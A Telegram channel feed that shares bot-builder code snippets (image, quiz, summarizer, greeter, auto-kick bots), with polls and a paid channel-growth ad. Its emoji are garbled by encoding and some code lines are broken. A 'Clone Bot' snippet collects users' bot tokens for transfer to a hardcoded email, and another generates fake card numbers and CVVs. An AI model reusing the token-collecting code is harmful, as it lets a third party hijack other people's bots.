Bot Nations ๐ via @vote
๐ฎ๐ณโจ Vote if you stand with India! anonymous poll ๐โโ๏ธ I stand! โ 179 ๐๐๐๐๐๐๐ 78% ๐ซ I'm not! โ 50 ๐๐ 22% ๐ฅ 229 people voted so far.
Those who do not stand with us(India ๐ฎ๐ณ) are free to leave our communities.
โค25๐16๐ฅ15๐15๐ฏ8๐คฉ1๐1
๐ฆ Clone Bot To Other's Account (It Will Run By Default;No Need Run It Manually. [Telebot Codes]
๐ Command:
๐ TPY:
๐ Command:
๐ TPY:
โก Mแดแดแดแด Bส: @Flash_Ninja
๐ฐ Publisher: @Swastik_Raj
โ Pสs Gษชแด แด Us Cสแดแด ษชแด Tแด Sแดษดแด Oแดส Cแดแด แด Iษด Cสแดษดษดแดส...
๐ Command:
Your Command๐ TPY:
bot.sendMessage(text="Sแดษดแด Bแดแด Tแดแดแดษด Tแด Cสแดษดแด Aษด Bแดแด")
Bot.handleNextCommand("/clone")
๐ Command:
/clone๐ TPY:
try:
Bot Transfer(email="swastikraj12567@gmail com", bot_id="83628", bot_token=message text, run_now=True)
# Email: You need to put your email where you want your all clients' bot adds
# bot_id: Put your bot ID to copy a bot Don't share bot ID with others
bot sendMessage("Bot Started Successfully")
except Exception as e:
bot sendMessage("An error occurred: " + str(e))
โก Mแดแดแดแด Bส: @Flash_Ninja
๐ฐ Publisher: @Swastik_Raj
โ Pสs Gษชแด แด Us Cสแดแด ษชแด Tแด Sแดษดแด Oแดส Cแดแด แด Iษด Cสแดษดษดแดส...
๐9๐4โคโ๐ฅ1
๐ฉ Boost Channel Task Code
๐ก Command :-
๐ก Command :-
๐ฃ๏ธ Code by: @Coder_Kevin
๐ Posted by: @KevinBots
๐ก Command :-
โก Boost (optional)username = 'kevinbots' # enter your channel username without @
button = InlineKeyboardMarkup()
button.add(InlineKeyboardButton(text='โก Boost',url=f'https://t.me/boost/{username}'))
if message.chat.type != 'private':
raise ReturnCommand
User.saveData('boost', False)
bot.sendMessage(chat_id=u,text='โก <b>Boost this channel to help it unlock additional features.\n\n๐ฐ Reward:</b> <i>$0.5</i>',parse_mode='html',reply_markup=button)
๐ก Command :-
/handler_chat_boost (required)channel = 'kevinbots' # enter your channel username without @
if message and message['chat']['username'].lower() == channel.lower():
userid = message['boost']['source']['user']['id']
balance = libs.Resources.anotherRes('balance',user=userid)
boost = User.getData('boost',user=userid)
if boost == None:
raise ReturnCommand
if boost == False:
if User.getData('boosted',user=userid) != True:
User.saveData('boosted',data=True,user=userid)
User.saveData('boost',data=True,user=userid)
balance.add(0.5)
bot.sendMessage(chat_id=userid,text='๐ฐ <b>Congratulations, $0.5 Added To Your Balance.</b>',parse_mode='html')
else:
bot.sendMessage(chat_id=userid,text='๐ <b>You have already helped boost our channel.</b>',parse_mode='html')
๐ฃ๏ธ Code by: @Coder_Kevin
๐ Posted by: @KevinBots
โค10๐7
โ Auto Bed Time ๐ค๐ BJS:- It's Working Between 12:00 AM to 6:00 AM (Indian Time).
โค๏ธ Command:-
โฃ BJS:-
โ Developed By:- SowRov
๐งโ๐ป Edited By:- @Private_Projector
โค๏ธ Command:-
@โฃ BJS:-
function getIndianTime() {
var now = new Date()
var options = {
timeZone: "Asia/kolkata",
hour12: true,
hour: "numeric",
minute: "numeric",
second: "numeric"
}
return now.toLocaleString("en-US", options)
}
function isRestricted() {
var now = new Date()
var bdTime = new Date(
now.toLocaleString("en-US", { timeZone: "Asia/kolkata" })
)
var currentHour = bdTime.getHours()
return currentHour >= 0 && currentHour < 6 // Returns true if it's between 12:00 AM and 6:00 AM Indian time
}
if (isRestricted()) {
informRestrictedTime()
} else {
}
function informRestrictedTime() {
var remainingTime = getRemainingTime()
var up =
"<b>๐๏ธ It's bedtime, so this bot is currently unavailable..</>\nโโโโโโโโโโขโ
โขยฐโขโโขยฐโขโ
โขโโโโโโโโโ\n<b>โ Remaining Time:</> <code>" +
remainingTime +
"</>\nโโโโโโโโโโขโ
โขยฐโขโโขยฐโขโ
โขโโโโโโโโโ\n<b>๐ Please Come Back After Bed Time.</>"
var bob = [[{ text: "๐ Refresh", callback_data: "8388" }]]
if (request.message_id) {
Api.sendMessage({
text: up,
parse_mode: "html",
reply_markup: { inline_keyboard: bob }
})
return
}
Api.editMessageText({
message_id: request.message.message_id,
text: up,
parse_mode: "html",
disable_web_page_preview: true,
reply_markup: { inline_keyboard: bob }
})
}
function getRemainingTime() {
var now = new Date()
var bdTime = new Date(
now.toLocaleString("en-US", { timeZone: "Asia/kolkata" })
)
var currentHour = bdTime.getHours()
if (currentHour < 6) {
var remainingHours = 6 - currentHour
var remainingMinutes = 60 - bdTime.getMinutes()
var remainingSeconds = 60 - bdTime.getSeconds()
return (
remainingHours +
" hours, " +
remainingMinutes +
" minutes, " +
remainingSeconds +
" seconds"
)
} else {
return "Come back later"
}
}โ Developed By:- SowRov
๐งโ๐ป Edited By:- @Private_Projector
๐10โค8๐ฅ4
T2I.php
36.5 KB
๐ Here's the source code of a text-to-image unlimited generation website! ๐ผ๏ธโจ
๐ Demo: Click here ๐ฅ
โก Most of the APIs provided by @kaiiddo ๐ก
12๐15โค8๐ฅ4๐ฅฐ1๐1
๐ฌ Adorable Random Neko Image Bot ๐ฑโจ
[Bots Business Code]
โโโโโโโโโโโโโโโโ
๐ธ Command:
๐ BJS:
โโโโโโโโโโโโโโโโ
๐ฅ Command:
๐ BJS:
โโโโโโโโโโโโโโโโ
โ ๏ธ Command:
๐ BJS:
โโโโโโโโโโโโโโโโ
๐จโ๐ป Created By: @Swastik_Raj
ยฉ Copyright: @botnations
๐ข Love anime? Share this with your friends and remember to give credit if you use it on your channel!
[Bots Business Code]
โโโโโโโโโโโโโโโโ
๐ธ Command:
/neko ๐ BJS:
HTTP.get({
url: "https://nekos.life/api/v2/img/neko",
success: "/onNekoSuccess",
error: "/onNekoError"
});
โโโโโโโโโโโโโโโโ
๐ฅ Command:
/onNekoSuccess ๐ BJS:
let data = JSON.parse(content);
let imageUrl = data.url;
Api.sendPhoto({
photo: imageUrl,
caption: "๐ธ Here's a delightful neko image just for you!"
});
โโโโโโโโโโโโโโโโ
โ ๏ธ Command:
/onNekoError ๐ BJS:
Bot.sendMessage("โ Failed to fetch neko image. Please try again later!");
โโโโโโโโโโโโโโโโ
๐จโ๐ป Created By: @Swastik_Raj
ยฉ Copyright: @botnations
๐ข Love anime? Share this with your friends and remember to give credit if you use it on your channel!
โค12๐3๐ฅ1
๐ Looking to boost your channel subscribers? ๐
Get ready to welcome over 100 genuine users daily! ๐
Hurry, thereโs only 1 seat left!
๐ฉ DM @swastik_raj now to secure your spot and watch your channel grow! ๐โจ
Get ready to welcome over 100 genuine users daily! ๐
Hurry, thereโs only 1 seat left!
๐ฉ DM @swastik_raj now to secure your spot and watch your channel grow! ๐โจ
โค9๐4
โค9๐7
Bot Nations ๐
Do u want albert quiz bot???
๐ก Fun Quiz Challenge Bot [Bots Business Code]
โโโโโโโโโโโโโโโโ
๐ฏ Command:
๐ BJS:
โโโโโโโโโโโโโโโโ
๐ฅ Command:
๐ BJS:
โโโโโโโโโโโโโโโโ
โ ๏ธ Command:
๐ BJS:
โโโโโโโโโโโโโโโโ
๐จโ๐ป Created By: @Swastik_Raj
ยฉ Copyright: @botnations
๐ข Love anime? Share this with your friends and remember to give credit if you use it on your channel!
โโโโโโโโโโโโโโโโ
๐ฏ Command:
/quiz๐ BJS:
// Send quiz intro message
Bot.sendMessage("*๐ New Quiz Alert! Ready to test your knowledge? ๐*");
// Start the quiz process
function startQuiz() {
var apiUrl = "https://opentdb.com/api.php?amount=1";
// Indicate typing action to the user
Api.sendChatAction({
chat_id: chat.chatid,
action: "typing"
});
// Fetch quiz data from OpenTDB API
HTTP.get({
url: apiUrl,
success: "/onQuiz", // Command to handle quiz data response
error: "/onError" // Command to handle error
});
}
startQuiz();
โโโโโโโโโโโโโโโโ
๐ฅ Command:
/onQuiz๐ BJS:
// Parse the API response
var response = JSON.parse(content);
// Check if quiz data is available
if (response.response_code === 0 && response.results.length > 0) {
var quiz = response.results[0];
var question = "๐ฏ " + quiz.question;
var correctAnswer = quiz.correct_answer;
var options = quiz.incorrect_answers.concat(correctAnswer);
// Shuffle options randomly
options = options.sort(function() {
return Math.random() - 0.5;
});
// Send quiz poll
Api.sendPoll({
chat_id: chat.chatid,
question: question,
options: options,
type: "quiz",
correct_option_id: options.indexOf(correctAnswer),
explanation: "โ The correct answer is: *" + correctAnswer + "*",
is_anonymous: false
});
// Store data in user properties for later use if needed
User.setProperty("quiz_question", question, "string");
User.setProperty("correct_answer", correctAnswer, "string");
// Send follow-up message with button
Api.sendMessage({
chat_id: chat.chatid,
text: "๐ Want to explore more quizzes? ๐",
reply_markup: {
inline_keyboard: [
[
{ text: "๐ Search More", callback_data: "/quiz" }
]
]
}
});
} else {
// In case of no data or error in response
Bot.sendMessage("โ ๏ธ Unable to fetch quiz. Please try again later.");
}
โโโโโโโโโโโโโโโโ
โ ๏ธ Command:
/onError๐ BJS:
Bot.sendMessage("โ Failed to load quiz. Please try again later.");
โโโโโโโโโโโโโโโโ
๐จโ๐ป Created By: @Swastik_Raj
ยฉ Copyright: @botnations
๐ข Love anime? Share this with your friends and remember to give credit if you use it on your channel!
1โค12๐ซก3๐2
๐จ AI Image Generator Bot [TeleBot Creator Code]
โโโโโโโโโโโโโโ
๐ Command:
๐ TPY:
โโโโโโโโโโโโโโ
๐จโ๐ป Created By: @Swastik_Raj
ยฉ Copyright: @botnations
๐ข Love anime? Share this with your friends and remember to give credit if you use it on your channel!
โโโโโโโโโโโโโโ
๐ Command:
/T2I ๐ Try It Like This:/T2I caror/T2I a robot dancing in the rain
โ Requested by: Ducky
๐กBots Business Version: https://t.me/BotNations/297?comment=155735
๐ TPY:
prompt = params
if not prompt:
bot.sendMessage("โ Please provide a prompt like: /T2I car with a car best friend")
raise ReturnCommand()
# Show chat action while image is generating
bot.sendChatAction("upload_photo")
# Generate image URL
img_url = f"https://botmaker.serv00.net/pollination.php?prompt={prompt}"
# Build caption with prompt
caption = f"๐ผ๏ธ *AI Art Prompt:*\n\n{prompt}\n\nโจ *Your image has been generated!*"
# Send AI-generated image
bot.sendPhoto(img_url, caption=caption, parse_mode="Markdown")
โโโโโโโโโโโโโโ
๐จโ๐ป Created By: @Swastik_Raj
ยฉ Copyright: @botnations
๐ข Love anime? Share this with your friends and remember to give credit if you use it on your channel!
โค16๐3
I'm thinking about starting to upload tutorials on my YouTube channel again! ๐ฅโจ
What topics would you like to see in those videos? Please let me know in the comments! โฌ๏ธ
What topics would you like to see in those videos? Please let me know in the comments! โฌ๏ธ
โค12
๐ค AutoKicker tpy code
Command :
๐ฑ Made by : @a1mbo
๐ Website : Telebotcreator.com
when user leave your channel bot ban him from channel automatically
Command :
/handler_chat_member# Command: /handler_chat_member
if update_type == 'chat_member':
chat_id = message.chat.id
user = message.new_chat_member.user
user_id = user.id
if message.new_chat_member.status == 'left':
try:
# Remove (kick) the user from the channel
bot.kickChatMember(
chat_id=chat_id,
user_id=user_id,
until_date=0 # Remove without ban, can rejoin
)
except Exception as e:
pass # Ignore errors silently
๐ฑ Made by : @a1mbo
๐ Website : Telebotcreator.com
Plz ๐ share with credit ๐ญ
โค11๐2
๐ค AutoGreeter Bot Tpy
Command :
๐จโ๐ป Created By: Deoxys
ยฉ Copyright: Deoxys
๐ข Love anime? Share this with your friends and remember to give credit if you use it on your channel!
๐น English Description:
> ๐ฌ This bot replies with a message and a sticker when someone types common greetings like gm, gn, etc.
โ It replies as a tag to the same message (using reply), and also mentions the user in a stylish format.
โ ๏ธ Works only in group chats, not in private.
๐น Hinglish Description:
> ๐ฌ Ye bot jab koi gm, gn, good night, morning likhta hai to uss message par reply karta hai (tag karke) aur ek sticker bhi bhejta hai.
โ Reply ke sath user ka naam mention hota hai stylish format mein.
โ ๏ธ Ye sirf group mein kaam karta hai, private mein nahi.
Command :
@# Command: @
# Only run this block if it's not private
if message.chat.type != "private":
msg_text = message.text.lower().strip()
user_id = message.from_user.id
name = message.from_user.first_name or "Friend"
mention = f"<a href='tg://user?id={user_id}'>{name}</a>"
gn_tags = ["gn", "good night", "g.n", "g n", "night", "gnite", "sleep well", "sweet dreams"]
gm_tags = ["gm", "good morning", "g.m", "g m", "morning", "vgm", "v.g.m", "v g m", "veri good morning", "very good morning"]
if msg_text in gn_tags:
bot.replyText(
chat_id=message.chat.id,
text=f"""<b>โ ษขแดแดแด ษดษชษขสแด โ sแดกแดแดแด แด สแดแดแดs โ
โ {mention} ๐ช
โ ษขแด แดแด โฅ sสแดแดแด แดแดสสส
</b>""",
parse_mode="HTML",
reply_to_message_id=message.message_id
)
bot.sendSticker(
chat_id=message.chat.id,
sticker="CAACAgUAAxkBAAEC7B5mvnhFWRh8TVNxGiCuLLwp3Qt4EQACaAYAApgIqFX0lPxGg7S_IDUE",
reply_to_message_id=message.message_id
)
raise ReturnCommand()
if msg_text in gm_tags:
bot.replyText(
chat_id=message.chat.id,
text=f"""<b>โ ษขแดแดแด แดแดสษดษชษดษข โ สแดแด แด แด ษดษชแดแด แด แดส โ
โ {mention} ๐
โ sแดแดส แดแดsษชแดษชแด แด โฅ แดแดแดแด ๊ฐแดแดแด๊ฑแดแด
</b>""",
parse_mode="HTML",
reply_to_message_id=message.message_id
)
bot.sendSticker(
chat_id=message.chat.id,
sticker="CAACAgIAAxkBAAEDKvdoVbAvSxDVpNNdAAHIo1YsjzcKqfkAAmAAA3io5g-XR8l_6mIspB4E",
reply_to_message_id=message.message_id
)
raise ReturnCommand()
๐จโ๐ป Created By: Deoxys
ยฉ Copyright: Deoxys
๐ข Love anime? Share this with your friends and remember to give credit if you use it on your channel!
โค29๐4
๐ค Random card ๐ณ Generator tpy
Command :
๐ฑ Made by : @a1mbo
๐ Website : Telebotcreator.com
Command :
/generate_cardtry:
# Helper function to generate a random number string
def generate_digits(length):
return ''.join([str(libs.Random.randomInt(0, 9)) for _ in range(length)])
# Generate card details
card_number = generate_digits(16)
cvv = generate_digits(3)
month = str(libs.Random.randomInt(1, 12)).zfill(2)
year = libs.Random.randomInt(2025, 2030)
expiry = f"{month}/{year}"
# Enhanced UI Output
card_info = f"""
<b>๐ณ Virtual Card Generator</b>
โโโโโโโโโโโโโโโโโโ
<b>๐ข Card Number:</b>
<code>{card_number}</code>
<b>๐ Expiry Date:</b>
<code>{expiry}</code>
<b>๐ CVV:</b>
<code>{cvv}</code>
โโโโโโโโโโโโโโโโโโ
<b>โ Generated Successfully!</b>
"""
# Send the formatted message
bot.sendMessage(card_info.strip(), parse_mode="html")
except Exception as e:
bot.sendMessage(f"โ ๏ธ <b>Error:</b> <code>{str(e)}</code>", parse_mode="html")
๐ฑ Made by : @a1mbo
๐ Website : Telebotcreator.com
Plz ๐ share with credit ๐ญ
โค12๐4
๐ฑ GitHub Profile Information tpy code ๐ค
Command :
Example :
๐ฑ Made by : @a1mbo
๐ Website : Telebotcreator.com
Command :
/githubExample :
/github rahulif not params:
bot.sendMessage("โ Please provide a GitHub username.\n\nExample:\n<code>/github rahul</code>", parse_mode="HTML")
raise ReturnCommand()
username = params.strip()
url = f"https://api.github.com/users/{username}"
try:
res = HTTP.get(url)
data = res.json()
if "message" in data and data["message"] == "Not Found":
bot.sendMessage(f"โ GitHub user <b>{username}</b> not found.", parse_mode="HTML")
raise ReturnCommand()
# Extract all fields
name = data.get("name") or "N/A"
login = data.get("login") or "N/A"
id_ = data.get("id") or "N/A"
node_id = data.get("node_id") or "N/A"
avatar = data.get("avatar_url") or ""
html_url = data.get("html_url") or ""
repos_url = data.get("repos_url") or ""
followers_url = data.get("followers_url") or ""
following_url = data.get("following_url") or ""
gists_url = data.get("gists_url") or ""
blog = data.get("blog") or "N/A"
location = data.get("location") or "N/A"
email = data.get("email") or "N/A"
hireable = str(data.get("hireable")) or "N/A"
bio = data.get("bio") or "No bio provided."
twitter = data.get("twitter_username") or "N/A"
company = data.get("company") or "N/A"
followers = data.get("followers", 0)
following = data.get("following", 0)
public_repos = data.get("public_repos", 0)
public_gists = data.get("public_gists", 0)
created = data.get("created_at") or "N/A"
updated = data.get("updated_at") or "N/A"
# Format message
text = (
f"<b>๐ค GitHub Profile</b>\n"
f"๐จโ๐ป Name: <b>{name}</b>\n"
f"๐ Username: <code>{login}</code>\n"
f"๐ ID: <code>{id_}</code>\n"
f"๐งฌ Node ID: <code>{node_id}</code>\n"
f"๐ Location: {location}\n"
f"๐ข Company: {company}\n"
f"๐ฐ Blog: {blog}\n"
f"โ๏ธ Email: {email}\n"
f"๐ Hireable: {hireable}\n"
f"๐ฆ Twitter: {twitter}\n"
f"๐ฆ Public Repos: <b>{public_repos}</b>\n"
f"๐๏ธ Gists: <b>{public_gists}</b>\n"
f"๐ฅ Followers: <b>{followers}</b> | Following: <b>{following}</b>\n"
f"๐ Bio: <i>{bio}</i>\n"
f"๐ Created: {created}\n"
f"๐ ๏ธ Updated: {updated}\n"
f"๐ Profile: <a href='{html_url}'>{html_url}</a>\n"
f"๐ Repos: <a href='{repos_url}'>Repos Link</a>\n"
f"๐ค Followers: <a href='{followers_url}'>Followers</a>\n"
f"โก๏ธ Following: <a href='{following_url}'>Following</a>\n"
f"๐ Gists: <a href='{gists_url}'>Gists</a>"
)
bot.sendPhoto(photo=avatar, caption=text, parse_mode="HTML")
except Exception as e:
bot.sendMessage("โ ๏ธ Failed to fetch GitHub profile. Try again later.")
๐ฑ Made by : @a1mbo
๐ Website : Telebotcreator.com
Plz ๐ share with credit ๐ญ
โค19๐4
๐ฌ Need a bot code?
Just drop your request in the comments!
Just drop your request in the comments!
โค14๐5
---
๐ YouTube Video Summarizer Code (BJS for Bots.Business) ๐
โ Tested Working in BB
---
๐ Description: Summarize YouTube videos up to 1000 words.
๐ Command: /start
โณ Wait for response: โ On
---
๐ Command:
---
๐ Command:
โณ Wait for response: โ On
---
๐ Command:
โณ Wait for response: โ On (NOTE: must be On in BB to capture user input)
---
๐ Command:
---
๐ Command:
๐จโ๐ป Created By: @Swastik_Raj
๐ API By: @HazexApi
ยฉ Copyright: @botnations
๐ YouTube Video Summarizer Code (BJS for Bots.Business) ๐
โ Tested Working in BB
---
๐ Description: Summarize YouTube videos up to 1000 words.
๐ Command: /start
โณ Wait for response: โ On
---
๐ Command:
/startBot.sendMessage("๐ฌ Welcome to the YouTube Summarizer Bot!\n\nPlease send the YouTube video link:");
Bot.runCommand("get_video_url");---
๐ Command:
/get_video_urlโณ Wait for response: โ On
let yt_url = message;
User.setProperty("yt_url", yt_url, "string");
Bot.sendMessage("โ Got the video link!\nNow enter the word count (15 to 1000):");
Bot.runCommand("/get_word_count");
---
๐ Command:
/get_word_countโณ Wait for response: โ On (NOTE: must be On in BB to capture user input)
let user_input = message;
let word_count = parseInt(user_input);
if (isNaN(word_count) || word_count < 15 || word_count > 1000) {
Bot.sendMessage("โ Word count must be between 15 and 1000. Try again:");
Bot.runCommand("/get_word_count");
return;
}
let yt_url = User.getProperty("yt_url");
if (!yt_url) {
Bot.sendMessage("โ No video link found. Please start again with /start.");
return;
}
Bot.sendMessage("โณ Summarizing your video...");
HTTP.get({
url: "https://api.hazex.sbs/yt-summarizer",
params: {
url: yt_url,
wordCount: word_count
},
success: "/onSummaryResult",
error: "/onSummaryError",
// Optional: pass word_count for use in the callback
bb_options: { word_count: word_count }
});
---
๐ Command:
/onSummaryResult let res = JSON.parse(content);
if (res.error) {
let msg = res.message || "Unknown error occurred.";
Bot.sendMessage("โ API Error: " + msg);
} else {
let summary = res.result || "โ ๏ธ No summary returned.";
let word_count = options.word_count;
Bot.sendMessage("โ Summary (" + word_count + " words):\n\n" + summary);
}
---
๐ Command:
/onSummaryErrorBot.sendMessage("๐ซ Failed to connect to the summarization API. Please try again later.");๐จโ๐ป Created By: @Swastik_Raj
๐ API By: @HazexApi
ยฉ Copyright: @botnations
๐ข Share this with your friends and remember to give credit if you use it on your channel!
โค18๐2๐ฅ1
โWhich bot do u want first?
Anonymous Poll
23%
๐ Vote Bot(in TBC)
23%
๐ป Movie Filter Bot(in PHP)
42%
๐ฆ Omegle Chat Bot
12%
๐คจ Other? Comment down ๐๐ป
โค5๐5
Bot Nations ๐
โWhich bot do u want first?
Omegle chat bot is on the way.......... ๐
๐20โค16๐คฉ5